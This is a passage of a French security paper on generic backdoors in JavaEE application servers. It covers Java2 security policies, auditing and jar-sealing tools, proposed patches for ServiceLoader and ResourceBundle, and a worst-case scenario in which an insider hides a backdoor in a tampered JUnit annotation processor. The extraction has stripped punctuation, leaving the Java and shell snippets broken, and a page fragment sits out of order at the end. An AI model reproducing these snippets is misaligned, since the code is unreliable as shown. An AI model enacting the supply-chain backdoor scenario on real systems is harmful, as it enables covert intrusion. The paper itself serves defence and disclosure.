Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

390 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash Lrsquoexecution nrsquoest pas garantie Cela depend de lrsquoordre de selection des archivespar la JVM

Cette approche est donc rejetee

23 Piege par laquo parametrage raquo

De nombreux frameworks utilisent des fichiers de parametrages indiquant desnoms de classes Certains recherchent des fichiers de parametres a differents endroitsdans les archives En placant un fichier de parametres dans un lieu prioritaire il estpossible drsquoexecuter du code

Piege du parametrage laquo Axis raquo Le premier exemple est le framework Axis de lafondation Apache Crsquoest un framework permettant lrsquoinvocation et la publication deservices Web Il recherche les fichiers de configuration dans lrsquoordre suivant (voir laclasse EngineConfigurationFactoryServlet)

ndash Fichier ltwarpathgtWEB-INFltparamwsddgtndash Ressource WEB-INFltparamwsddgt

ndash Ressource ltparamwsddgt

La presence du fichier dans WEB-INF drsquoune archive quelconque suffit a executerdu code lors de lrsquoinvocation du premier service Web Comme ces fichiers sont rarementmodifies par les projets il y a peu de chance qursquoil y ait un conflit avec une autrefonctionnalite du projet

